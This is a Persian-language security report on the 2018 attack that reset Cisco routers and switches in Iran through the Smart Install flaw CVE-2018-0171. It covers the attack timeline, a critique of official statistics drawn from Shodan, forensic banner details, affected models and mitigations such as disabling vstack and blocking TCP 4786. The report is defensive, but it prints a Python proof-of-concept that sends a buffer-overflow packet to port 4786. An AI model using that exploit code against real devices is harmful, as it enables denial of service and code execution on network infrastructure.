 SIMATIC S7-410: Update to V8.1, which can be located here: 

https://support.industry.siemens.com/cs/ww/en/view/109476571 

 :های عمومیتوصیه

 ه شود که دسترسی بتوصیه می تأثیری کنترل صنعتی دارای محصولات تحت هابه مدیران شبکه

تواند بر آن را محدود کنند؛ این محدودسازی می 1ارتمدیریت و ن  و سامانه تأثیرمحصولات تحت 

های آتش عمومی( یا های غیرصنعتی از دیواره)برای شبکه های آتش کنترل صنعتیدیوارهاز طریق 

به  اهآندسترسی  حتماً تأثیرروزرسانی محصولات تحت انجام شود. در صورت عدم به لیست سفید

 .را قطع نماییدپیمانکاران(  یها VPNویژه اینترنت یا شبکه عمومی )به

 شود که به کمک توصیه می تأثیری کنترل صنعتی دارای محصولات تحت هابه مدیران شبکه

 به شبکه را بدهند. تنها به کاربران مجاز امکان دسترسیهای کنترل دسترسی راهکار

                                              

 
1 Exploit 

2 Monitoring 

https://support.industry.siemens.com/cs/ww/en/view/109478528
https://support.industry.siemens.com/cs/ww/en/view/109478459
https://support.industry.siemens.com/cs/ww/en/view/109474874
https://support.industry.siemens.com/cs/ww/en/view/109476571
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 عتی به کنترل صن یشود که در صورت اتصال شبکهی کنترل صنعتی توصیه میهابه مدیران شبکه

کنترل صنعتی استفاده نمایند؛ در  2سوسازدیواره آتش کنترل صنعتی یا یکاز  حتماً های دیگر شبکه

مثال  عنوانبهتوانی  در ارائه محصولات کنترل صنعتی به شما مشاوره دهی  صورت نیاز ما می

 ای .داشته سوساز کنترل صنعتی در صنایع کشورهای موفقی در نصب تجهیزات یکتجربه

 به کمک محصولاتی مانند  شود کهی کنترل صنعتی توصیه میهابه مدیران شبکهSIEM  کنترل

( به شکل مستمر کلیه تجهیزات سامانه و ترافیک IDSو سامانه تشخیص نفوذ صنعتی ) صنعتی

 عبوری را پایش نمایند.

  شود که در صورت می توصیه تأثیرصنعتی دارای محصولات تحت  کنترل یهاشبکهبه مدیران

ا ر تأثیرهای تحت پلنت صنعتی و جهت اتخاذ رویکرد کاهش مخاطره، سامانه شبکه یا محدودیت در

 ی امن قرار دهند.ایزوله یا محدوده 1در یک زیرشبکه

 راهکارهای اتصال از  حتماًکه در شبکه یا واحد صنعتی شما نیاز به اتصال از راه دور دارید درصورتی

و  پذیری نباشدآسیبداری  VPNاستفاده کنید؛ توجه شود که خود راهکار  VPNمن ن یر راه دور ا

پذیر را آسیب VPNاز طریق شماتیک سناریو نفوذ مهاج  نمونه  1شکل آشیل نباشد؛ در پاشنه 

این تهدیدات و راهکارهای امن سازی  توانی می دوره آموزشی پیشرفتهکنید ما در قالب مشاهده می

 به شما ارائه نمایی . را هاآن

                                              

 
1 Data Diode 

2 Subnet 

http://ahmadian.blog.ir/post/ICSSecurityWorkshop
http://ahmadian.blog.ir/post/ICSSecurityWorkshop
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 پذیرآسیب VPNاز طریق : نمونه شماتیک سناریو نفوذ مهاجم 3شکل 

 کنترل صنعتی و  عات وفناوری اطلا هایها و حملات به سامانهپذیریهمانند غالب آسیب

و سایر راهبردهای امنیتی  دفاع در عمقسازی های حساس )حساس، حیاتی و مه ( پیادهزیرساخت

 شود.به شما توصیه می تنوع در دفاع، موضع ایمنی در برابر خرابی، نقطه وارسی و غیرهن یر 

 

ی شما و صنعت شما جلسه توانی  باکه هر یک از موارد بالا برای شاما مبه  است، می* درصاورتی

مشااترد گذاشااته و راهکارهای امنیتی خود را، همراه با مجموعه خدمات و محصااولات امنیتی، به 

 ضمیمه د، جهت مشاهده خدمات و راه ارتباطی مراجعه نمایید.(شما معرفی نمایی  )به

 پذیریهایی از این آسیبدرس 

ه در مورد نمرهای معتبر لاعات متناقض در پایگاهوجود اطپذیری این آسیب در مورد توجهقابلکته ن

بنابراین در  5.3را به آن اختصاص داده و زیمن  نمره  6.5نمره  NVDکه  است پذیریآسیباین 

 مراکز صاانعتیو باید  کرد یناناطمکامل  طوربهتوان نمیها نیز پذیریآساایببرخی موارد به نمرات 

ه ها را بپذیریآسیبامنیت اطلاعات باشند که بتوانند خود دارای کارشاناساانی متخصص در حوزه 

 قرار دهند. موردبررسیشکل دقیق 
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 گزارش رسمی زیمن  NVDپایگاه 
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 با پذیریآسیب( سه 12 یبهشتارد 16قبل )اسات دو روز  ذکریانشااپیش از مطالعه این بخش 

 رتأثیدر صورت داشتن محصولات تحت  حتماًاست که  منتشارشدهدرجه بحرانی در تجهیزات سایساکو 

، شاااناساااه این ها پرداخته نشاااده اسااات(پذیریآسااایبدر این گزارش به این ) یریدبگن ر  در هاآن

 ها:پذیریآسیب

 CVE-2018-0222 

 CVE-2018-0271 

 CVE-2018-0268 

 مشخصات حمله 

 12331:شماره مورد

  22/2/12:اریخ وقوع حملهت

  12/2/12:تاریخ ارجاع مورد

شواهدی تحویل گرفته نشده است و تنها بر اساس بررسی  گونههیچ :شدهگرفتهشواهد تحلیل 

 شدهتدوینهای فنی متخصاصین این گزارش گرداوری و و تحلیل هاگزارش، منتشارشادهاساناد عمومی 

 است.

 گزارش سطح بالا از حمله 

های مراکز داده ماه، اختلالات سراسری در سروی  اینترنت کشور و سروی وردینفر 22شامگاه 

داخلی روی داد که در پی آن، بررسای و رسایدگی فنی موضاوع در دستور کار مراکز متولی قرار گرفت. 

 گزارشی مختصر از این حمله وسیع به شرر ذیل است: 

در مراکز داده  شدهمیزبانیهای وی برخی از سر 12ماه حدود ساعت جمعه هفده  فروردین -2

 داخل کشور از دسترس خارج شدند.

کو های سیسها و سوئیچپ  از بررسی اولیه مشخص شد حمله سایبری به برخی از مسیریا  -1

 اند.ای بازگشتهصورت گرفته و این تجهیزات به حالت تن ی  کارخانه اندبودهپذیر که آسیب

هزار مساایریا  و سااوئیچ در کل دنیا صااورت گرفته و  133ش از به بی ظاهراًحمله مذکور  -1

آمار  ه آنهزار مورد است که 261، 21)البته این آمار طبق مرجع شاماره  بوده اساتای گساترده حمله

! (. بر اساس اطلاعیه وزارت ارتباطات و فناوری نه تجهیزات تحت حملهاست  پذیرآسایبتعداد تجهیزات 
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فقره  223فقره در تهران،  223که  شدهواقع موردحملهمسایریا  و سوئیچ  1233اطلاعات در کشاور ما 

 هایشاارکتپذیری از نقطه تعداد در فقره اسااتان اصاافهان بوده و بیشااترین آساایب 11اسااتان ساامنان، 

ی ها، لیکن اختلال تعداد کمی مسیریا  در برخی مراکز سروی رخدادهاسترساپینا، ایزایران و شااتل 

اشاااتباه در اطلاعیه وزارت ارتباطات و  ظاهراًاطلاعات »در بخش از دساااترس خارج کرد) پرکااربردی را

در مورد این حمله اشتباه  شادهگزارشکنی  که این اطلاعات این گزارش مشاخص می« فناوری اطلاعات

 (.بوده است

 سرعتبهها های واکنش سریع و تلاش همه متخصصان و فعالان همه شرکتبا تشاکیل گروه -1

نیاز به حضاااور فیزیکی  هایریا مسااااجرایی آغاز شاااد و با توجه به اینکه برای فعالیت مجدد  اقدامات

 های کشور به حالت اولیه برگشت.صبح غالب فعالیت شبکه 6 تا ساعت موقعبهکارشناسان بود با اقدام 

لازم در  هایبینیبر اسااااس اطلاعیاه وزارت ارتبااطاات و فناوری اطلاعات با توجه به پیش -2

زیرسااخت ارتباطی کشاور شبکه زیرساخت دچار هیچ اختلالی نشد و کمترین اختلال نیز در سه اپراتور 

 آنلاین و تبیان گزارش شد.پارس هایشرکتتلفن همراه مراکز داده 

های ها و سوئیچپذیری مسیریا روز قبل از این حمله، موضاوع آسیب 23شارکت سایساکو  -6

های ایرانی در ایام تعطیلات ها و سازماناینکه بسایاری از شرکت یلبه دلبود لیکن  مذکور را اعلام کرده

رسااانی و هشاادار کنند و همچنین عدم اطلاعتغییر تن یمات شاابکه خود را در حالت فریز نگهداری می

ها، ها و شرکترسانی تن یمات شبکه این سازمانروزتوساط متولی این امر در کشور)مرکز ماهر( برای به

 پذیری شبکه این مراکز شد.منجر به آسیب

بر اساس اعلام مرکز ماهر، مرکز آپای دانشگاه همدان پیش از وقوع حمله موضوع را در دست  -2

زارش قبل از تکمیل گ متأساافانهتحلیل و پایش داشااته و منت ر تکمیل پایش تجهیزات کشااور بوده که 

 نهایی حمله مذکور اتفاق افتاد.

رغ  وجود نقاط مثبتی همچون یافته علیسااازمان ظاهراًآنچه مشااخص اساات در این حمله  -1

هساته شبکه ملی اطلاعات در شرکت ارتباطات زیرساخت، عدم اختلال  تأثیرپذیریواکنش ساریع، عدم 

موقع توسط مرکز رسانی بهضعف اطلاع متأسفانهها، FCPجدی شابکه سه اپراتور تلفن همراه و برخی از 

دهندگان فناوری اطلاعات مستقر در این بندی مناساب در مراکز داده و سروی ماهر و عدم وجود پیکره

های مرتبط و مراکز داده باعث تشدید عوارض این حمله شد و بر همین اساس اصلاحات لازم در مجموعه

 شود.نیز تذکرات لازم به بخش خصوصی اجرایی می

های میزبان شااده روی افرانت، رسااپینا، خی وبگاهبرحملهن ای براثربرخی شااواهد،  بر اساااس -1

 اهآن، پارس آنلاین، صبا نت و غیره دچار اختلال شدند که برخی از زیرسااختشااتل، آسایاتک، ارتباط 

 :اندشدهلیست  ذیلاً

 https://www.certcc.ir/  
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 https://cafebazaar.ir/ 
 http://live.irib.ir/ 

 http://www.nic.ir/ 

 http://www.asriran.com/ 

 https://divar.ir/ 

 http://yjc.ir/ 

 http://dana.ir/ 

 http://asreertebat.com/ 

 اشتباه در اطلاعیه وزارت ارتباطات و فناوری اطلاعات ظاهراًاطلاعات  

در "فروردین ماه، اعلام کرد  21ای در روز شنبه، وزارت ارتباطات و فناوری اطلاعات در اطلاعیه

فقره استان سمنان،  223فقره در تهران،  223که  شدهواقع موردحملهمسیریا  و سوئیچ  1233کشور ما 

 رسپینا، ایزایران و هایشرکتپذیری از نقطه تعداد در فقره اساتان اصافهان بوده و بیشاترین آسایب 11

در  مسیریا  و سوئیچ 1236. با بررسی مختصری متوجه شدی  آمار دقیق مربوط به "رخدادهاستشاتل 

فقره  11فقره استان اصفهان،  11فقره استان سمنان،  221فقره در تهران،  226داخل کشور بوده است )

 2وجوی شاادانموتور جسااتاین آمار از  متأساافانهفقره در اسااتان ساانندج( که  11اسااتان مشااهد و 

 22مگاه شااادر  1216 1با درگاه شاادهشااناساااییمتصاال به اینترنت  1و نشااان از تجهیزات آمدهدسااتبه

که توساااط اطلاعیه وزارت  تواند آمار معتبری از تجهیزات تحت حمله باشااادنمیماه اسااات و فروردین

و مقایسه آماری آن با اطلاعیه  1شاکل ارتباطات و فناوری اطلاعات منتشار شاد؛مدرد گواه بر این ادعا 

 .استوزارت ارتباطات و مرکز ماهر 

 

                                              

 
1 https://www.shodan.io 

 حتی این امکان وجود دارد که برخی از این تجهیزات واقعی نباشند و هانی پات باشند. 2
3 Port 
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 فروردین 57از شدان در شامگاه  شدهگرفته:گزارش 4شکل 

بازه  در تاری   دهدمیشدان گرفتی  که نشان  وجویجسترا در ما از موتور ، همین گزارش 2شکل در 

تجهیزات متصل به اینترنت وجود دارد که نشان از  منتشرشدهآماری نزدیک به آمار فروردین  12

باشد و نشان از تجهیزات در حال حمله نیست. در سمت راست در کشور می 1216با درگاه  شدهشناسایی

 Cisco "این شکل مشخص هست که شدان برای برخی تجهیزات مانند آدرس آی پی مورد دوم بنر 

Smart Install Client active ".را پیدا نکرده است 
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 22:32فروردین ساعت  12از شدان در  شدهگرفته: گزارش 2شکل 

از حمله که در  یرتأثتحت  هایشرکتشود که فراوانی تجهیزات )سمت راست( مشخص می6شکل در 

 منتشرشدهاطلاعیه وزارت ارتباطات و فناوری اطلاعات و مصاحبه وزیر محترم ارتباطات و فناوری اطلاعات 

باشد و هرگز آمار معتبری از تجهیزات تحت حمله را شدان می وجویجستاست نیز برگرفته از موتور 

فروردین  12وجو در تاری  همین گزارش را از این موتور جست)سمت چپ( در  6شکل دردهد. نشان نمی

ل تجهیزات متصاطلاعاتی است مربوط به  صرفاًاین آمار نشان از حمله نبوده و  دهدمیگرفتی  که نشان 

 در کشور است. 1216با درگاه  شدهشناساییبه اینترنت 
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 4716داخلی دارای تجهیزات متصل به اینترنت با درگاه  هایشرکتهای گزارش : مقایسه6شکل 

 

 گزارش فنی حمله 

-CVE-2018 پذیریآسیبشارکت سیسکو که دارای  تأثیرروی محصاولات تحت  برحملهاین 

های امنیتی آن نیز توجه کرد!( و وصله CVE-2018-0156 پذیریآسیب)البته باید به باشندمی 0171

است. بر  برداریبهرهاند قابل از راه دور را نیز در آن غیرفعال نکرده 2اند و نصاب هوشامندنکردهرا نصاب 

امکان اجرای حملات ممانعت از  پذیریآسااایاباین  Mitreدر پاایگااه  شااادهثباتاسااااس اطلاعاات 

موتور  کند. این احتمال وجود دارد که مهاجمین از طریقو اجرای کد دلخواه را فراه  می (DoSخدمات)

د کتوانند با استفاده از دان توانسته باشند اهدا  خود را شناسایی نمایند. مهاجمین میوجوی شاجسات

 ذیرپآسیبهای ها و سوئیچنسبت به اجرای کد بدخواه از راه دور بر روی مسیریا  منتشرشده ییجوبهره

بافر که در اثر اعتبارسنجی   یزسرر پذیریآسایبو از  اقدام نموده 1216با شاماره  TCPاز طریق درگاه 

نمایند. سپ  با برگرداندن تن یمات این تجهیزات به تن یمات  جوییبهرهگیرد ناصحیح ورودی انجام می

 ییجوبهرهای نسبت به خارج کردن این تجهیز از خدمات تحت بار اقدام نمایند؛ بخشی از کد این کارخانه

 کنی :مشاهده می 2شکل و نحوه اجرای حمله را در 

                                              

 

Smart Install 1 
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 و نحوه اجرای حمله جوییبهره: بخشی از کد 7شکل 

این تجهیزات همراه با محل کد بخواه مهاج  نشان  پذیرآسیبدر قطعه کد پایتون ذیل نمونه کد 

 است: شدهداده

# smi_ibc_init_discovery_BoF.py 

 

import socket  

import struct  

from optparse import OptionParser  

 

# Parse the target options  

parser = OptionParser()  

parser.add_option("-t", "--target", dest="target", help="Smart 

Install Client", default="192.168.1.1") parser.add_option("-p", "--

port", dest="port", type="int", help="Port of Client", default=4786) 

(options, args) = parser.parse_args()  

 

def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'):  

  return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v  

 

def send_packet(sock, packet):  

  sock.send(packet)   

 

def receive(sock):  

  return sock.recv()  
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if __name__ == "__main__":  

 

  print "[*] Connecting to Smart Install Client ", 

options.target, "port", options.port  

 

  con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  

  con.connect((options.target, options.port))  

 

  payload = 'BBBB' * 44 shellcode = 'D' * 2048  

 

  data = 'A' * 36 + struct.pack('!I', len(payload) + 

len(shellcode) + 40) + payload  

 

  tlv_1 = craft_tlv(0x00000001, data) tlv_2 = shellcode  

 

  hdr = '\x00\x00\x00\x01'                  # msg_from 

  hdr += '\x00\x00\x00\x01'                  # version 

  hdr += '\x00\x00\x00\x07'                  # msg_hdr_type 

  hdr += struct.pack('>I', len(data))             # data_length 

 

  pkt = hdr + tlv_1 + tlv_2  

 

  print "[*] Send a malicious packet"  

  send_packet(con, pkt) 

 

 

اساات که شاارکت ساایسااکو در این رابطه گزارشاای عمومی جهت اطلاع عمومی  ذکریانشااا

از چشاا   متأساافانهمنتشاار نمود که  2112 ماهینفرورد 1و انجام وصااله امنیتی در تاری   پذیریآساایب

 حتی روسیه دور ماند.بسیاری از مدیران و کارشناسان شبکه و فناوری اطلاعات در ایران و 
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 شرکت سیسکو و اعلام انجام وصله امنیتی شدهثبت: گزارش عمومی 1شکل 

 پذیریآسیبدر نصب هوشمند تجهیزات سیسکو یک  پذیریآسیباین اسات که  تأملقابلنکته 

 قاعدتاًاساات و  شاادهگزارشدر محصااولات این شاارکت ثبت و  پذیریآساایبجدید نیساات و بارها این 

ل رساانی آن آشنایی کامروزبهو اهمیت  پذیریآسایبحیاتی این  تأثیرمتخصاص امنیت و شابکه باید با 

 داشته باشند:

 CVE-2018-0171: DoS (device crash) & arbitrary code execution; 

 CVE-2018-0156: DoS; 

 CVE-2016-6385: DoS (memory consumption); 

 CVE-2016-1349: DoS (device reload); 

 CVE-2013-1146: DoS (device reload); 

 CVE-2012-0385: DoS (device reload); 

 CVE-2011-3271: DoS & arbitrary code execution. 
•  

 شناسیجرمشواهد و  

رای دستور است که در صورت اج شدهمشخص دیدهیبآساز تجهیزات  گرفتهانجامهای در بررسی

آن را مشاااهده  1شااکل شااود که در بنری مشاااهده می (startup-configشااروع پیکربندی تجهیزات)

 کنی : می

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0171
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0156
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6385
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1349
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1146
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0385
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3271
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 : بنر تجهیز نمونه بعد از حمله موفق9شکل 

 است: توجهابلقبر اساس این بنر، زمان و نحوه این حمله نکات ذیل 

که  شدهاستفادهاز پرچ  کشور آمریکا و شعاری در خصوص عدم دخالت در انتخابات این کشور  .2

 .دهدمیامریکا نسبت  متحدهایالاتدر ظاهر مجریان یا طراحان این حمله را به 

 جایبهرا از خود  safreedom_jht@tutanota.comuدر این بنر، مهاجمین تنها پل ارتباطی  .1

دهنده ایمیل آن که شناسه آن به آزادی امریکا و دامنه سروی  اندگذاشته

 www.tutanota.comباشدباشد؛ این سروی  دهند ایمیل که میزبان آن در کشور المان میمی ،

را برای کاربران به شکل  2است که رمزنگاری انتها به انتها بازمتنای قوی هدهندهیکی از سروی 

دهنده این سروی تاکنون ما  هایبررسیدو میلیون کاربر دارد. طبق  بربالغکند و رایگان فراه  می

ن شود در صورت انتشار ایمی بینیپیشاین ایمیل منتشر نکرده است و  کنندهثبتاطلاعاتی از 

 و ارزشمندی ارائه نگردد. پسندمحکمهیز شواهد اطلاعات ن

                                              

 

end-to-end 1 

mailto:usafreedom_jht@tutanota.com
http://www.tutanota.com/
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 Tutanotaدهنده ایمیل: اطلاعات سروی 23شکل 

 عمده ترافیک حمله و موفقیت مهاجمین در کشورهای روسیه و ایران بوده است. .1

و غالب حملات قرار داد  شدهسازماندهیتوان در دسته حملات با توجه به اینکه این حمله را می  .1

پذیرد، های اداری کشور مهاج  انجام میو در زمان کشورهایا  هادولتشده با حمایت  دهیسازمان

حمله از منطقه خاورمیانه  منشأرسد به ن ر می ظاهراًاست که بوده  شبجمعهزمان وقوع حمله 

 نباشد.

های ( مهاجمین قبل از این حمله دستگاه22شکل ) 22ادعای منبع خبری مرجع  بر اساس .2

 پذیر در کشورهایتجهیزات آسیب بعدازآنپذیر در بسیاری از کشورها را شناسایی نموده و آسیب

 .اندکردهرسانی روزبهآمریکا و انگلی  را 

•  

 در مورد مهاجمین 57:ادعای منبع خبری مرجع 55شکل 
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 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 تأثیرمحصولات تحت  

نصب هوشمند که از قابلیت  IOS XEو  IOS عاملیسات ساسایساکو با  یچساوئتمامی تجهیزات 

بر اساس  پذیریآسیبهستند. فارغ از این  CVE-2018-0171 پذیریآسایبکنند دارای پشاتیبانی می

ز راه دور، امکان های ذیل به دلیل قابلیت نصااب هوشاامند اتجهیزات مختلفی از قبیل مدل 2گفته مرجع

 :باشندیمپذیر بودن در برابر این نوع حملات را دارا آسیب

 Catalyst 4500 Supervisor Engines 

 Catalyst 3850 Series 

 Catalyst 3750 Series 

 Catalyst 3650 Series 

 Catalyst 3560 Series 

 Catalyst 2960 Series 

 Catalyst 2975 Series 

 IE 2000 

 IE 3000 

 IE 3010 

 IE 4000 

 IE 4010 

 IE 5000 

 SM-ES2 SKUs 

 SM-ES3 SKUs 

 NME-16ES-1G-P 

 SM-X-ES3 SKUs 

  
  

 های امنیتیتوصیه 

 مدیران لازم است اقدامات ذیل را انجام دهند:  

  ز مجدد تجهی اندازیراهبا استفاده از کپی پشتیبان قبلی، اقدام به  دیدهآسیببرای تجهیزات

 انجام پذیرد. مجدداً و تن ی  تجهیز  اندازیراهجود کپی پشتیبان، یا در صورت عدم و خودنمایند
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 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

  با استفاده از دستورپذیرآسیبیا  دیدهآسیببرای کلیه تجهیزات ، no vstack سازیغیر فعال 

 .نیز قرار ندارد( انجام پذیرد مورداستفاده عموماًقابلیت نصب هوشمند )که 

  تغییر داده شود. پذیرآسیبیا  دیدهآسیبرمز عبور قبلی تجهیزات 

   در روتر لبه شبکه با استفاده از  گرددمیتوصیهACL  1216ترافیک ورودی TCP  نیز مسدود

 گردد. 

 مسدود  پذیرآسیبرا در تجهیزات  1216توانند با اجرای مراحل ذیل، درگاه مدیران شبکه می

 کنند(.استفاده خاصی از این درگاه نمی کهدرصورتینمایند)

•  

 تورات بالا:در دس

 کلمهAbc : 2نام موردن ر برای قانون acl  

 با دستور permit شود.مجوز دسترسی از یک میزبان به این دستگاه داده می 

 را نیز  هاآنتوانید دیگر می درصورت وجود قانونdeny  .کنید 

 شود:های عمومی ذیل توصیه میتوجه به توصیه

 ًدر ن ر بگیرید)در برخی  هیزات دارای سطح حساسپشتیبان برای تج سوئیچ و مسیریا  حتما

 یبانپشتشود که تجهیز  هاآنرسانی تجهیزات ممکن است باعث عدم اجرای صحیح روزبهموارد 

 شود(.توصیه می شدتبهدر این مواقع 

  ًحتما Release Note  شده ن یرفعالغرسانی، تن یمات شما روزبهبررسی کنید تا با عملیات  راها

یا  شده حذ کاملاً آن قابلیت  تواندیمغییر نکند. در برخی موارد با بروز رسانی یک قابلیت و یا ت

 تغییر کند.

                                              

 

rule 1 
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 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

  عاملیست سفقط و فقط فایل های IOS و IOS XE  را از وبگاه رسمی سیسکو دانلود نمایید. اگر

 آن را با وبگاه سیسکو مطابقت دهید. Hash حتماً کنیدیماز وبگاه دیگری تهیه 

 ها را در صورت امکان ابتدا بر روی تجهیزات پشتیبان خود تست کنید و بعد در محیط رسانیروزبه

 عملیاتی اجرایی نمایید.

 هایی از این حملهدرس 

 بود و نمونه منتشارشدهآن مدتی قبل  پذیریآسایبی بسایار ساریع که در پی انجام این حمله

توانی  به حقایق ذیل توجه ، اتفاق افتاد می2ای اسلمرتوسط کرم رایانه ،1331آن در سال  تریعسرمشابه 

 نمایی :

داخلی برنامه مطلو  و بر خط  هایشرکتها و که بسایاری از ساازماناین حمله مشاخص کرد  .2

 .ندارند منتشرشدههای امنیتی ها و وصلهپذیریآسیببرای مدیریت 

تباطات و فناوری اطلاعات و  علیرغ  توجه ویژه وزیر محترم وزارت ار کهاین حمله مشخص کرد  .1

 شااایسااته تقدیر واقعاًی ملی که اجتماعی توییتر و رساانه یبرخط بودن ایشاان از طریق شاابکه

نتایج موتور  بر اساااس صاارفاًگویا اطلاعات وزارت ارتباطات و فناوری اطلاعات  متأساافانه  اساات،

مناسب  ساخت یا سامانهیک زیرما در کشور  دهدمی، که نشان آمدهدستبه 1شدان وجویجست

ی  توانهایی نمینیز برای بررسی و تحلیل آماری حوادث امنیتی و حملات نداری  و در چنین زمان

 .آمار دقیق و معتبر ارائه نمایی 

های کشور ، اینترنت و وبگاه های خدمات شبکهاین حمله مشخص کرد که بسیاری از زیرساخت .1

 (2DRP(، برنامه بازیابی بعد از حادثه)1BCP) وکارکساااب ، طرر تداوم 1HAهای مکانیزمفاقد 

 هستند.

                                              

 
1 Slammer 

2 https://www.shodan.io 
3 high availability 
4 Business Continuity Planning 
5 disaster recovery plan 
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 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

های حیاتی ما فاقد رویه ها و ساااوئیچمسااایریا این حملاه مشاااخص کرد کاه بسااایااری از  .1

 شوند. قابل قبولی بازیابی زمانمدتاند در اند و نتوانستهگیری بودهپیشتیبان

از  رساااانیاطلاعبرای  کارآمدی یمشاااخطما  یهااساااازماانکاه این حملاه مشاااخص کرد  .2

 .ندارند منتشرشدههای امنیتی پذیریآسیب

علیرغ   امنیتی عمومی در کشور)مرکز ماهر( رسانیاطلاعنهاد متولی این حمله مشخص کرد که  .6

در این زمینه ضعف بسیاری دارد تا حدی که وبگاه این مرکز در آغاز  کشادهمه زحماتی که می

 .ج شداین حمله به سهولت از دسترس خار

این حمله مشاخص کرد که زیرسااخت کشور تحت بررسی مستمر قرار ندارد و آگاهی کاملی از  .2

 «Situational awarness»در مقوله  اصطلاحاًوضعیت موجود امنیت سایبری کشور نداری  و 

 ضعف داری .  

 چراکهگیرند، این حمله مشاخص کرد که متخصاص امنیت و شبکه چندان از گذشته درس نمی .1

هفت  رببالغجدید نیست و  پذیریآسیبدر نصاب هوشمند تجهیزات سیسکو یک  پذیریبآسای

و  است شدهگزارشثبت و  تاکنون 1322در محصولات این شرکت از سال  پذیریآسایببار این 

نی آن رساروزبهو اهمیت  پذیریآسیبحیاتی این  تأثیرمتخصاص امنیت و شابکه باید با  قاعدتاً

 ه باشند.آشنایی کامل داشت

 اندازیراه،  ISOهای کلان برای اخذ اسااتانداردهای این حمله مشااخص کرد که علیرغ  هزینه .1

SOC  وSIEMتشکیل تی  های واکنش سریع  2ها برای تشخیص حملات ناشناخته و روز صفر ،

 همنتشرشدهای پذیریآسایبرساانی روزبهترین مساائل حوزه امنیت که در ابتداییو غیره حتی 

 ! پذیریآسیب شدتبهاست 

 

 

                                              

 
1 Zero-Day 
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 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 

 

ها در سامانه است که به ای از ویژگیپذیری امنیتی مجموعهطور عمومی آسیب[، به2بر اساس مرجع ]

شود که در پذیری از اموری ناشی میآسیب. دهدمیشده را مشی امنیتی تعریفمهاجمین اجازه نقض خط

 پردازی .می هاآنزیر به برخی از 

 زمانی که یک فرآیند یا مؤلفه دارای معایب مربوط به طراحی است، از این 2طراحی/مشخصات :

اصل ها حپذیریاین نوع آسیب شود.نقایص برای به دست آوردن دسترسی به سامانه استفاده می

 ازطراحی دارد.در غالب موارد نیاز به ب هاآنگیرند و اصلار از مرحله طراحی سامانه سرچشمه می

 ی سازافزاری یک سامانه درست باشد، پیادهافزاری یا نرمطراحی سختزمانی که حتی : 1سازیپیاده

های امنیتی یا عدم تواند منجر به ایجاد ضعفسامانه ممکن است نادرست باشد. این مسوله می

 یتی فنی در زمان توسعهها غالباً همان ایرادهای امنپذیریاین آسیب استحکام منجر به خرابی شود.

 سازی یک سامانه هستند.و پیاده

 این را  تواند زمینهیا عملیاتی: زمانی که یک منبع به طرز نادرستی پیکربندی شود می 1پیکربندی

 1هایسازی مهاج  بتواند برخی خاصیتفراه  کند که علیرغ  مطلو  بودن مراحل طراحی و پیاده

ها مواردی هستند که به علت پذیریاین دسته از آسیب نقض کند.را  امنیتی مورد اهمیت سامانه

های پذیریآسیب آیند.پیکربندی و گسترش نادرست یک سامانه در محیطی خاص به وجود می

عملیاتی به دلایل مختلف ازجمله ناقص بودن، نامناسب بودن یا نبود مدارد امنیتی ازجمله 

شوند. مدارد امنیتی، به همراه پشتیبانی سامانه وارد میها و راهنماهای عملیاتی به دستورالعمل

هایی از نمونه 1جدول در شوند. های امنیتی محسو  میمدیریت، اساس کار همه برنامه

 های امنیتی ذکرشده است:پذیریآسیب

                                              

 

2 Design/Specification 

1 Implementation 

3 Configuration 

4 Properties 
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 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 [5مختلف ]پذیری سه مرحله هایی از آسیب: نمونه4جدول 

 هاپذیریبرخی نمونه آسیب  مرحله

 طراحی ارتباطات بدون رمزنگاری  طراحی/مشخصات

 ها در مرحله طراحیعدم تبیین جزئیات و نوع احراز اصالت موجودیت 

 هاهایی برای تضمین صحت دادهدر ن ر نگرفتن روش 

 نویسی غیر امنهای برنامهاتخاذ روش  سازیپیاده

 اصالت با سطح امنیتی پایینسازی احراز پیاده 

 نویسی امنضعف در واسط برنامه 

 کاری شده و غیر امنبکار گیری تجهیزات دست 

 ن ارت و رویدادنگاری ضعیف 

 های سازمانمشیضعف در مدیریت حسا  کاربران با توجه به خط  پیکربندی

  های سازمانمشیهای بدون استفاده با توجه به خطضعف در مدیریت سروی 

 مشی سازمانها با توجه به خطدر مدیریت وصله ضعف 

 فرض تن یماتضعف در تغییر مقادیر پیش 

 



 ST_MMA-970244کد سند :    آنها یتو توجه به اهم شبکه یزاتتجه یها یریپذ یبآس یبرخ یبررس  

 

 15از    42صفحه:                    فاقد طبقه بندی             

 

 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

 ًهای امنیتی از وبگاه معتبر سازنده استفاده نمایید.ها یا وصلهروزرسانیجهت دانلود به حتما 

 در  2سازهای امنیتی و قبل از اجرا در صورت وجود کد دره ها یا وصلهزرسانیروبعد از دانلود به

ی امنیتی دانلود شده مقایسه نمایید و از یا وصله روزرسانیاین کد را با کد به حتماًوبگاه سازنده، 

 صحت آن اطمینان حاصل نمایید.

 را بررسی کرده و از  هاآن 1رقمیی امنیتی دانلود شده گواهی یا وصله روزرسانیقبل از نصب به

 صحت آن اطمینان حاصل نمایید

 ی تست یا محیط دارای ی امنیتی را بر روی سامانهیا وصله روزرسانیدر صورت امکان ابتدا به

